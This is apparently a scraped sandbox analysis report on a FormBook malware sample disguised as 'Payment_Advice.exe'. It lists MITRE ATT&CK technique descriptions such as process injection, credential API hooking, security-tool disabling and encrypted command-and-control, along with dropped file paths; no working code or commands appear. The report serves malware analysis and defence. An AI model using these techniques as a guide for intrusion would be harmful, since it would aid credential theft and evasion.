Instruction Fuzzy Hash: 2041C939600206EFCF258FE9D844BBA7BA5EF57720F25416AF859AB1A1DB308D01C7D0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment_Advice.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: FormBook

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\RarSFX0\afedurp.icm

C:\Users\user\AppData\Local\Temp\RarSFX0\bigw.exe

C:\Users\user\AppData\Local\Temp\RarSFX0\bovqsmr.dat

C:\Users\user\AppData\Local\Temp\RarSFX0\cbjgjk.msc

C:\Users\user\AppData\Local\Temp\RarSFX0\dequ.ppt

C:\Users\user\AppData\Local\Temp\RarSFX0\eauvq.icm

C:\Users\user\AppData\Local\Temp\RarSFX0\ejetlvgeqs.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

C:\Users\user\AppData\Local\Temp\RarSFX0\fjrpidauk.jpg

C:\Users\user\AppData\Local\Temp\RarSFX0\fmitb.xls

C:\Users\user\AppData\Local\Temp\RarSFX0\ggjbipwsqu.jpg

C:\Users\user\AppData\Local\Temp\RarSFX0\hhkmk.mp3

Windows Analysis Report
Payment_Advice.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre